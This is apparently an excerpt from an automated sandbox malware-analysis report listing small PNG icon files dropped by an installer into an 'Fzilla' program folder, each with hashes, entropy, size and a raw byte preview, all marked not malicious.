Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	560
Entropy (8bit):	7.541145966641534
Encrypted:	false
SSDEEP:	12:6v/7F425cDXSMWVW++2EZ88qQ+t6VQTUEHPn2+OIUNx:A4j4VW+EZ88qrTLPj2
MD5:	F5D5C63156F9F79D0C881F3E28DEB9D2
SHA1:	9180CB55A9DBE3D36F8806467BE4613BDA55B4AE
SHA-256:	C2FF72BD759633AD8B4EE6D70C377220BA237C58AE67EBA0C129693C4FF6D183
SHA-512:	484CE1E1B9B8101D48BA25103592CF04CD18538947202577F2A3848E7859C8F46FD46549CC7206DA33C878405AFC3AD0B87F51A1BF44A8D1062D180873156E60
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b......_>~..J..r...m.\|....m5......m.}&.6.r.g...4.Lx....;.n...G.B.l....e...E..y.Z..iK)d2......49..>.k.s+.....sJ1.n.0.f......3.a0..._M.9...c...`....u.m.o...d.}..e.tH..;l.hZ.k....2.:........\|.&.vq(...;!.A..)...... Z.:$.N....b\|...De..[.a..Z...5..J...J.o@X.%.F!9.....Z.@.-../^.^.x;. 2..?.%!...B.L..{.B.SB.!PD.a.A.6!....,........5_.1....z.4..b6......=gS...m......25..J........\.N..I.........S..8........:..A...0.......-.............c.$.Bg#..p. .d7.l..O..\|!..@6...p......"sb....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-3P4MK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	453
Entropy (8bit):	7.424482970442153
Encrypted:	false
SSDEEP:	12:6v/7+MiblsIxWP1e9HQczNnon9IM42KpnHKfQXy8Ryg/2c:W4lsx6imd275892c
MD5:	B7D268F710075D632C748655173A1E1A
SHA1:	536139C0B6F6365209C1EACBF74FC156A06C7A58
SHA-256:	2F3E82E18D29078F0D04233DDF0E05AE840AF25E0983666B34DF09EDE4A72302
SHA-512:	2858E090916869768073A3D2C884A793C12493C34AD8EF6033B3E8BECAB79E10A77CA5353C553E988558516948F14C72496A52D379741BE8411EB4B1EB9E0A68
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..0..\.q....W....4....\|~.....Y......'...1WNI...?.u.LL......^............6...\|.cff.Y.....a..t...a....*........r\..h............."..y....@#.m}.z..d\|U..?A.pMre...&....S.@......7.........,.(..........I.3....../_.$)"...W.?%\|......6..0...g<\|..,.o.i.>q..+..R.O..DQ.f.........E..Z.....=.....N&,.s.h(...8.....W\|L.Md-.K2lQ.........v.F...}.....=...,.(.s.:_.~..s>.........`0.#"..V........s+.6\|U).....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-4CR51.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.27263470317427
Encrypted:	false
SSDEEP:	6:6v/lhPWZrdubw4OMYzd0JxH1cOsWXrsp6CdcKP0Jd4a5+7zUrTp:6v/7mrdZ8dX3CeKPpUr9
MD5:	E1A965661F46E68691390D35E366EF7A
SHA1:	2D969BC64AC8D796935ECCE48C81BBC00A302E94
SHA-256:	80F945E32B6BDDBB23B5BF234DA17A8828C246D6331611A3CD0B51E4B1873174
SHA-512:	8E09B9974ED7E515D167518926EBC53644156505BD3F9EC261BB38E1D9B88A94EEEFBAD71047033560FC4F79D69943D5CE06E99BB0B9C62287CB39D5AC0FBA08
Malicious:	false
Preview:	.PNG........IHDR................a...@IDATx.c.)........,.jv.Ye.....JL$Y...lf.n.......w...G..=..5....nu..z...W6.......t.....j....-..+.9\|...y..K.r'^.D.9......jN.,.^.~...T..z.p...MNoT.}..BP.S.D..i..:..?..p.T\......Y3....^..dE.E.\IR..6...&....R.8yY.9yY..aAQ^....0a...x..E&.......Z.,_.\|...........x....-.8q.f..u.D...si....^Z=.p....q.9G..,8Q..."0}..5..w.^+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-4GC4L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	634
Entropy (8bit):	7.518749902993462
Encrypted:	false
SSDEEP:	12:6v/7Tljd0CgH+eDJ5eZpiCaZOLZhwPZpBR6NmZonLfZDZDr00s6gyQ/ZoP08c:8jGD+eDCpiCCH3gt00s6xcoPVc
MD5:	6B5831512E5C666A6957FD141EA81E01
SHA1:	84FE38932A439EFFBB5C14682031F6FBC1DCCC28
SHA-256:	57BA9197221718B2CFA1655980F9DA18C63D9ADB841CCEDE61FCA577A28588FA
SHA-512:	45CEB43D6B361D9C72F3077E0A868B2D9655777F8DA30B1C45C94E93FD5D5B17DB241C64A8CF78CE73DCC0688778D9939D36FCC89A7FA8DF6177270180F2CE78
Malicious:	false
Preview:	.PNG........IHDR................a...AIDATx..S3.\......m..b...:.q...>.m.m...}....EFF......Xwvvb2.T\.ti........8q.[xx..B.@OO.FC,............J.;w.1.r.\u....iii...D"...b............k.F.X..pX.....B}}=.......HFWhkk.........8p@o....[ZZ..'Dimm...w.Z..3.`.R.......................J...?.`.y!.H......\|N.Fk.@.Q=z...W...g.l.2.../^`.........0.a......}.6^.z./_.....`/2..\|GOO..% +.,//...%.Y.....+WB..8..Dc....`y....#....Q[[.>'F..b.F...HHH..[..m.6...;HDR...a...j..r].uSc.._.JJJ...K.....=<<0o.<P....Jc......C....... '.m...2.........$J....v,...M...v.....o,......?......ou.z.D.(''........,.:..M.....8t.P.....{..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-5O7S4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	436
Entropy (8bit):	7.401420692537156
Encrypted:	false
SSDEEP:	12:6v/7ukuCtTNzrnskOOaV2Z1JRH6tCIF3gJi:hyhf/OOacRu3mi
MD5:	100FC761A41F80BE64C52A74F64CDC93
SHA1:	5CB3ADFFDB0B4F3FE4F4FC7521A74B88A5431EA3
SHA-256:	C063BDAEB8F6230E543D05E61A1A46865159A2EC4FFF230265D6D0D75FDC103C
SHA-512:	DEE91D2F8B88C2E24C7BC33E00EB2FC96F0306E3295ED1E0C7B9283271DD794C4F19AB008EBE3FB5109BE4C990EA358E9622AAC7A0923653AEDDE17B80C61EAD
Malicious:	false
Preview:	.PNG........IHDR................a...{IDATx.c.*....'Y.g......f.9G.NX8..d.....jVz>...2..3n.z$...>..\y.7.t..y..7...X.#YuaM...3..`.2..imN3A\|.F....._....D.+x..&.....C.a......6....aH"...i^..m1gNL...5V....L.{C......D....../n.P.a.5m..:R9...7..,..w7!)v.)3M^>y..=.%/?.........e....0s..5-{....)..u...a-[.}U5.q&......w..M=2.K..~z..=Q.......}.tl.6x../y.....f$..._\|...-....l..Q....3.H.............g...r0.j..L-.2.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-6MVNM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	340
Entropy (8bit):	7.072327278622731
Encrypted:	false
SSDEEP:	6:6v/lhPWRQS0J11YRjMxali5xZ7QaQhKLkF+pdocfv7sAVqahX7dAThPjp:6v/760J31aliDQKL5o27nXaT
MD5:	594D5849BCEE210458D71A7E73972F04
SHA1:	C941D9F869B31FDC224BBB804E56022F9342A17E
SHA-256:	BEBCCE52E3E8F61DAED6BB5D9C807BED44A148B5E18E41D28CA917D70C59AD1D
SHA-512:	85C636F10D4702B75C368B7DCED974D1598FD2C6651E97A88189A968B4F3AC927D99E091DB3F69B1C6F591D51E0AFE8787073C236E64B64B83D79DE4461C95A0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..5..Q.@_.....C.. $........M.....w..{...K9..a...W..5....K..C..../K..G\|.{..W.<._6.^o=\|..l...5..............7.....w..@.2..._.....t..x.....l..........`..L8E.....qbF...<..v.~GI.....C...FU....+.. Z..fa0.U.. ....U...@.....\..N.X !F...o..... .........U.<.1.........%?....G.]$ou.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-8LAI7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	505
Entropy (8bit):	7.475329434666842
Encrypted:	false
SSDEEP:	12:6v/7yaIFwXkKoTCDM6aTrbRYVK/Dg5U7KHxF2q:KUwXt0Vg5U7U2q
MD5:	4ED1E006F06AD3729510D7378A212ECA
SHA1:	9593C8D1FA14C63996231E3D2AFAC990066BB72B
SHA-256:	D2CCB02C79AE185B559C8E67F1B8C0548D8E4EC5CA3108E5A5E55E1B3A8A56EC
SHA-512:	669F8E733D3DDD22DD1EB57543C15ED93D6B809D8D8BCFCCC031470201C8A69CA2BED0856F6F6E65F55220408BC503CD088337DED1E5C821EE3C45B6069E81EF
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...8q...k[.[..d..........su\\..... ...Y.P...n66....Srrr.111..x7.m..cgg......mmm.........M.0.AAA.....Wyyy.........../...?.~)...f.!.o ..].....#..jnj...6.Z1_Tk..g>.q<_.$..l..th5;T..7o...M.A.^..g.......0..=~.X.m......q..$dJ..u.Q...Q.c.L?V.%.a..<....Bl7$...$FU.?.x.......Zv..8Z]...2....x......[`Y.A.q.......my.x...!\.....+...L........CXu.l...../.%.q.~&F......J...(......p8,.h...5MS1t..T+4.A.V..z..:...yOvp...k..r...x...`0X1.!.[..`Rs].....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-AVG90.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	548
Entropy (8bit):	7.484554583702818
Encrypted:	false
SSDEEP:	12:6v/75k0NDOJDrLK2AmQ0g+dWEv6EyWCr7LA2It7:8k0NC9rRAmQH+dWfWCr7L49
MD5:	989EAF92A59E8AF310365695629AF61C
SHA1:	3DF816E0943C1F493B1017F2529EB46C2029E981
SHA-256:	BA3354576FD955B00FA485D54C9979E563C4D6231D9EBE253F320A7B26DED29E
SHA-512:	FF854E1C34D08A981A30AE1EC0893290D0129A724C3FB266612A7974AA4FF6CB3C4B9F302BF3FD8A50235D351B190FE9FD90A27A2632A62718831AC72BEDDCCB
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b....n...Uj..#....m.VT.6....m..m{..f^.........wv^.@H`..g...s..Q?ZPH.....alM8T...'....B.4])d..?u"....\|..A.....dL.2........M..Pw..n.>k.U.......d..5...S......:..\.........5.lH.....A....P..q.kfn.C...[.{.I.M..}x+2..o..q!.......3.@.Nt..0.....V.R.LT.Y.W..s......Q.............y"'..A3.i.@$.1...]...kV.....A....G"..#....."..*.Y..3{...!..J.X....Y=...Hn...IN...p.l%...q...#+.G..iN....5....b../..e....8M7A..%f.+.3.!... ..2HYW?.q.QD.m..P1...@._...zwxg...K.g........Y.Jz...Zn.X&.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-D4O8V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	530
Entropy (8bit):	7.456602635417933
Encrypted:	false
SSDEEP:	12:6v/7SzjK3rEZcjrnPFQ9LqaODth/yZko7tVC0xgxWLD5dp++Ye6Zk:bjKEZcjrmXgI+QzC0xVDvD6e
MD5:	91393DDC9493DD4F714DA035E76AE8DF
SHA1:	503309EDD6B63AF6D82C43E9DF6536C452802E20
SHA-256:	E6A7CC290CD9A878AFC7412C50A713934DBFD28DFE0ADEEA462C9E3932BBCAEE
SHA-512:	C3123B093C1D62ABB26207BA90A0E9E6D748BD55AFD3A8D0A450A38A5445B6613EA52B8E7D5F57E6CEB0BFB2BB92A80C8D5F9F0845ADCC798199704D0D1983DB
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..0....sWPP..2..={v:''g.......TKHH....J...(z.....A7.f.G7\;.q+X.)...........\.I....~...?O[.V.......0...`..{.}{...K)...3...[.....:0M3x..C.Z-KD......D..a..."....UQ.23-Y..y>.?6D.n.....`T..q.M.F.....d..@.>...^........@..a..,X.U6.34...P.....6....Hf....z.V.... ........Ac<..@.....N..._.....k.'.z-.{..1k..I.@...-......H.M#...m..x.f.O0.DC...0...p#>.]..mamt2.V.. .......?u.x*.....>}..H(...M@..mE.....}.....U.L........j.e..%.....j..&....Jzh..3.aJ.R.........l.?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-DT306.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	411
Entropy (8bit):	7.295120788949264
Encrypted:	false
SSDEEP:	12:6v/7NEwP4aX4PHBzUOyawWTOZlnmcWi8aRB7:C2aoPXya1SZlnmcW3aRp
MD5:	7C3F5DFB8E30E246F247003254BE0AA4
SHA1:	E0FFC337E1FC46A8FF757517B47D1BD97BC041B1
SHA-256:	0BB90CC2902C9A9B9386137864267E40B44507C745D7A2347579A671E8B9FADC
SHA-512:	437B0592FB3CF2352DF02538422D6A897AB48EC6A718579575719DC57A4FAB37E542A48FE33ED77AB855B16B517D94B1FF768A86DC91F384A810CC0E399177F3
Malicious:	false
Preview:	.PNG........IHDR................a...bIDATx.b.f..........o._q..y......l.......F.._.{=,..HP...@..B..6.. .0..M.C.m...>..5{....l.m.}......>..\N..>...eV_TZ....L.....Y..;p.N'3....c..7.@'........%9..l......NG`.$.J.(s3B.328..a.g0.Qx?H.E?`.......;..!i0.}=........$..&H2C..5n.*...o".\D..w....f....K2.Bik.G.?......}\M\|.J..%Ev.c.f{....$.H,....d...\a..jd.6.Z..m.V\|.6.[..A..<-..\|,;.I{.....8).V=....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-E6T91.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	518
Entropy (8bit):	7.417467319549082
Encrypted:	false
SSDEEP:	12:6v/7mKafKSkCiS5/m6MDCWWeaGWoStWi/cvI8SVi4rF:GafKdC/M2WWeHWrtWvpSVbF
MD5:	F2D685B4359744ADBF97BF035D78F23B
SHA1:	CCBB897C1C5A648CE5E18572B7EC9DB172763B21
SHA-256:	13FFB9AF847DB4E83B1D323405429919893FD6180FE0ADCE77A1B390273C1E5C
SHA-512:	2E5CD42B910A1138B88C563F7551E40FACEF918AC0A8C4C5F418E5D93396FFA58CD792A40A1BD1AA65F47B21F01A5D471D68B56D90E3C85DB59D751BA1821DFC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.....s_.n]..wN.2%...,.......k....&&&...WXYYM..q.e@\|\|..........qqq....-..q.....:~......._ZZ.h~,....0..v.....p.......W...pwwww..........hy..K.n..?...Y.f}.7o^...._.....}6l...$I...[...=..O...C.Y.O...'u..M=x. .t.....3..9...K........._.?.".?.......Vx.D. "..H....DHFk,.1...~YK..2l..l.u,...[.r.......N:0 ..>.-_HU..Lwn.Z....i...pz.'c.w..+.$.......&G.fG..NG@..9.=....g....!=.=!...YvN.2.g..o7...\K./_+...........c.hCI.._+.Th.....o.E.~.T.2H.....t.~.&...5".{....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-EDFBC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.336777520323256
Encrypted:	false
SSDEEP:	12:6v/73deMJXe6o7ZpQkmPNVRrLBz/SvM3hHLs67:SxZefd2RLRp/WyhP7
MD5:	D4D712A881146D80DFBD85AAB111072B
SHA1:	D9422C016EE632EA7DD7FE66E495CC129B8FDECF
SHA-256:	14FC705B5CD6261A722C2228332695463B98A2F7FBAE97E457CF096886D07651
SHA-512:	864B0C623480C2C661D0447DE44584FF720F9C17F6DBAFD425510B0E28A9F2971C8065C5BA8DCF5135CB384CBF49A0E7135CBF6BF9563745189894477FFC17EA
Malicious:	false
Preview:	.PNG........IHDR................a...}IDATx.c..FAZf..zv.pbr.._TT.^[[k._......iU\......~.Mj...n..fzx..e`cU.W...r.{..........^....g.o...Y$&..U3...f...;v.......o..7...Y.qI..................`!....vt..j...\.`....0H....#15.\|....g.&..X...g..3..F..y.M.e.....qx.L.WP..'0.....lp .H.................N.........Z6.!`AF&.CG._...y...AB.@..6....@....Cp.v.y.Y8....Y..:..ddd9.}.7z..]PTV...]bm9.......i..J...\|a......(..h......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-EG0GJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	623
Entropy (8bit):	7.605757834324087
Encrypted:	false
SSDEEP:	12:6v/7IC4tq8eZ37gn9zRtCbeYb13M2V89VtJgxLC/4SwT9:1C4lCKhNYR8+8btJcLeVwT9
MD5:	702E99741F314CBFD4109657B06A9AC9
SHA1:	E63418919F39F516200DF34D6B393585E8083C42
SHA-256:	73B86CBB4073D7C2642FFC6A7EBD590134D11B3FAE21CC22E85378F5A2658D32
SHA-512:	A8B27D32BEDC956A76E81AAA006A66DC45C3A3844D0405F93E245CDCF560605229102013F8ECA4252A14AB94521942EEFF9EB7303C362DE5E065508ABD2ADFB3
Malicious:	false
Preview:	.PNG........IHDR................a...6IDATx..S....CS.m..m.mck.m...5...c.\|@...?hdJ^IZrn.......g...{xT..X.~.a.&........i.s...'..S^C..tK...x...).5.9.....rL.Q..{<..b....."U..O.x....g.?..mf..b.z.H...^.].!:..$.J...!R...~...j....S.t.."....d=E^.....Wz........,.9........5...sg4.7.\.......b...3.\..{..$.{W..-...).E..N._.h...t...)...N.....f...L...4.d....u..&.~...............3"3..'v...........B.__0.&(,)a..Y.d..K..I..M..<...G.....E.l..4.....].R....-.......<....V.0..+WLe.i..r...ow.$.<...d&Q..j.e]......i....h.o.8p`....z'7.u>F:.6....-...@s.[@...rr.....KmAk c. \|.'....Nae[..6.....T...I0].LZ.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-F2VEB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	343
Entropy (8bit):	7.115977369006804
Encrypted:	false
SSDEEP:	6:6v/lhPWbyf4zMVm5VwISwhao8iF+OlvW/QGWEwR0MLXQOiEIfmE5p:6v/7akPm7X7htTlvCQ5mMLXQ8Ij
MD5:	8173CF7E3B074B6EC28CC6DD45CA94F0
SHA1:	1D189C28347A54F11DC8C869B67254B3408A3AFA
SHA-256:	04CF8D2BA9BA6361AA2B2CC8D1ED74DF1D1000339194D71AF568BBA3967A2E0E
SHA-512:	2A434831F503721D5656314A9111BC272D22818B7AA5D149BA5000BF2C9F71D48AB97CCAA6BBD20FE4158D0A20C27C36C7FA26F75BD5C83C6F590870AD75EBD3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.&..?,.o.>{.......U.s...;v.`"h..O..kkk.{zz......>{{{...%.4z..........; `.......((h5..aj...7....v.#..3....P.......nl...'.O..ms.m..$.`.......?..u}.kl....GF......o.......d...C..9......%...&.kl.#...[.dc....."....]]]7.....=<<...QYs...t..h......'R6m......?~...`...3...7...._^g3.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-HAURQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	511
Entropy (8bit):	7.348600466901681
Encrypted:	false
SSDEEP:	12:6v/7hI3cFJiHh6cX9XPfl2vqC8rI/argn/aq4B:WI4kRX9XPflC8rSargyH
MD5:	37AD622CB38008845D98CBE0BA8D4D68
SHA1:	48531100C28E537318ED291D9A1B1EDA76BFD675
SHA-256:	DBA3101B9841B204B7DD32A8120DBAD439367ABA633AEBB3672B917EF6005FC3
SHA-512:	A2426F2B3C7CA1F42B320E7F9EEB3A678E65649512B2B7DABE15F6BB9ADB545A0FF5F1DB33B4F8A48673EE8FD85E64EFD8C2C7F54CB320151854F54FC0FFFEF2
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...o..M...pp..?uF<........0...b...{!.j.\6...4..tZ...i...[...$&*.P...F.n..-....u..c.dF5..=.[-.S.ub.V.......Z..I.;..........f..5[....p...f...........^...P..._..Q........MZ>./..e......`..6:.....4...r...KW.p.4......%....=.,..rE...{.Ari.....V./8....N/...........y....._......#....1..+..@.m.._...P..5......ev...3.xU..Trn.Q.q.K.......EKl/.w..f.`.f.....Q"...D.......p..Y...c..1.`.e...l..q......8q.a....j.1.P..l..z.go.....#Q....;`..=..l........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-HT793.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	638
Entropy (8bit):	7.534076223217043
Encrypted:	false
SSDEEP:	12:6v/7ZhG4E+LC4i6ECSoGRc4bIpwQlr7carB2S8j2zqGFj779eA/29l0Uv:wg4Ho2Soc/spll3cQsSLqGRlel5
MD5:	1DAFC9FCAA6D1BFB1E3BA6AA8FB6E865
SHA1:	C2F83807BF1749CC2398E867A706B6F7846545CF
SHA-256:	DE18C305A576CF63065F0BE9422EDCCB20977EEE208FB3E79BED72F7EE7A357A
SHA-512:	B90F8B22767C0A63A42A61228294BE4D962D5F8F2E1DC6C7A23A5BC7250C0FD280DB7113DA0D8F1DAA7206A754F07C84EF09D94E893F41930FBB4749EED08EF9
Malicious:	false
Preview:	.PNG........IHDR................a...EIDATx.bHLLd.}{.[.._.t.+..-[.,........d..v.....E..#.Oa..f.....T.........5....2.T......E.IU....o..4....U..;..\|>_.\..Z..R.....~K.R..N.N....~v:...GP.N.KS..c......4..+A@...d2.v..~..n.cM..`.\|>.b..x<.P.....p. .....r9.).J.........F...X..8...`.j.B..D.V..Td2..\.........BE...u.7B.Nd2.......y.J.X,F.......t..p........X,..` .l.n.....v..)J&.\|..N..j...BP...f..l6.H.....F....z=.@$.A..C".0.4;.. .=....U..F..f..h4. .<....d....O.....!.....a.ZY.(.....D"..D"....t&............O:\|..D.O.........K...>..4.b.@:............@0P.*.Z.....F.r..$S....I.......`...}.O..~..!...#.......'H/.&...^V.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-I4GJ5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.534440401683116
Encrypted:	false
SSDEEP:	12:6v/7E8fD+yDBNGImIAT7KQQhJLRNnRqOUnbdgf/uXc4aM1nk:L8fNNGImPHs9RUbdCuRTk
MD5:	B12CDE4CEC51BA2F84E09D9E045D257C
SHA1:	A4700E59C04A2F0FC1B20C3D3879B593490210C2
SHA-256:	1C6F71323BB543922D8623281A390D772EF92BAF1D79083309C2E9D464CBB0CF
SHA-512:	EC65586322046558714880D98CA57372123E544A4F5926B5994A47D082E3F3D373C0C332356F87F45A2F3835B28ADFECE056358C7D9390EE7506CBC77C9D6EC9
Malicious:	false
Preview:	.PNG........IHDR................a...sIDATx.b..'''....>......?."77.........E..Q+`........+.ka.......N...3So.6n.<.......?.. 0==.....{...x...\AA..<`.u....tUU.<. 8.....B!...y....F.Y..E...d2..N.I....gGEE....\.z.j......I..u..u.r..h.O..9.................sy...b..B&..dy....dI...P.Q..GG.x.bE~.d...(w..f-L7....K..s...="..F9s.LQ~...a...7k2...i..R....cF.p.........;2S.A.@..kR7..e3@....:uji....m?...8uC.^..x....#x(....v..=h..r.6......4...<..N=....'.v..U?. .&...Z...<..CW...v$E*.......w...a..=-EeE.I.J@.......dp...2..Eq.......m...........Y..,..0.]..d...^'.H.H2._]....3pK.....8o..'(.\.x.....`......_.x..{O.I...c.7b#c..93..Kk........ac)H/....m...a....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-JP574.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	7.137993945394194
Encrypted:	false
SSDEEP:	12:6v/7/dOiE78uhfGksUHVFoxQnmxRJSWkcMZ+r0C42L:qZuciFoxQmjJAceC42L
MD5:	8DB82EF833AAF9D239AE3862100EF484
SHA1:	A868997A684E2A323656A22ED387590E684574C6
SHA-256:	B71CB2106CAC049EC3BB7663278EFA31C8ADCA7E898280E2A73ABA2E3EAD652F
SHA-512:	AEED8EADDC4E2BF334CA783F1156ABB204F0B61B83F4DE69E92C3830E9C7B0DE1DD3FDAE4FDB3A32C6AA3748750F991025C894EC7AB212C5134F618751A62B56
Malicious:	false
Preview:	.PNG........IHDR................a...eIDATx.c`..8....Y.<..~..?.M[.s.n........W....-&G.~Nn...e.^5....ODV.h.....^)...,.K.<._.....o..6%=gk..yD...7........U....zR......[...._...+VN....0.....Oi..........6Ap....:.$......7.R'..i.jn...l.IR .'.Tv....m..f^Y...;+'.. ....'..?...WX...n.].l.<...B.`9......a.p..O..o^V,..._.......b@\......Db.p........7nB...@..U.r...g..O.0....s..?..(~<......0}........Y....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-LL9EI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	451
Entropy (8bit):	7.376232864388554
Encrypted:	false
SSDEEP:	12:6v/72ARUCiAqlz5bCfnSmE52RGmLSt3l1RLXFK42ec:Ah0unHE528mLK3l1tXFxE
MD5:	CD9BAD2367655ECBF4F0C18F4F95F4EC
SHA1:	2BF6A4709A63BB9BF88E18CA7B8F0C50F6D34B0E
SHA-256:	F4D6DF9DF678C238D9CB471E79A8C1176B913574B4993ECEE83EA53F974E6885
SHA-512:	1DAC7C01AB13F2F9743BE993002F4C92B48C942F95BDED0A4548D2C7762AFED85AB72A885182943FEC9237209533AFBDDE633194C6EEECC8302853A0AA7FEAE2
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.\|`...l....$..>qV...........y..Z.}...b....Q....znxV......5....F%..../....+I...f..ME..U..b....+..D.arV>j!..f......y....Y.._4..H.eAT........!y......_....j.2@V].`...~...\|..]....X9x.q. .<.l....)a...k5..D..p.`...4.L....ra...}L...^.._0.Y..[......! .<...g,.i;.w....-.......$f.P.Z......{...99Y..F..e._.W....x..vxO....w.._...oV.aa.....2.Cp~dH.V.........k.....N..g.I.........r*....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-MNUOG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	7.039739482097343
Encrypted:	false
SSDEEP:	6:6v/lhPWAlllJ8c6EIQ+mYk7NiKZQy49a4+pAaB8dQ2fD6c/g8QVf5Jgp:6v/7xB0jQ7JNZQwp5ipfg8Q7Y
MD5:	0598026856986DA9BC8D68C9D54DCE55
SHA1:	210BE5498F1155C80F4D127A87E381F7E4923B03
SHA-256:	142D8DF4B61AA8DE96B58AFAFFD6B9EE89ABBC882061A533777B08E023C87566
SHA-512:	FD3446A787AB59271A5C9E8B261474F2AC4EE8550F3166D5E94A8ED7286B1534275658F85131D475176E10D50494CF6057530E0324B2C2C14D3FFE216D101A06
Malicious:	false
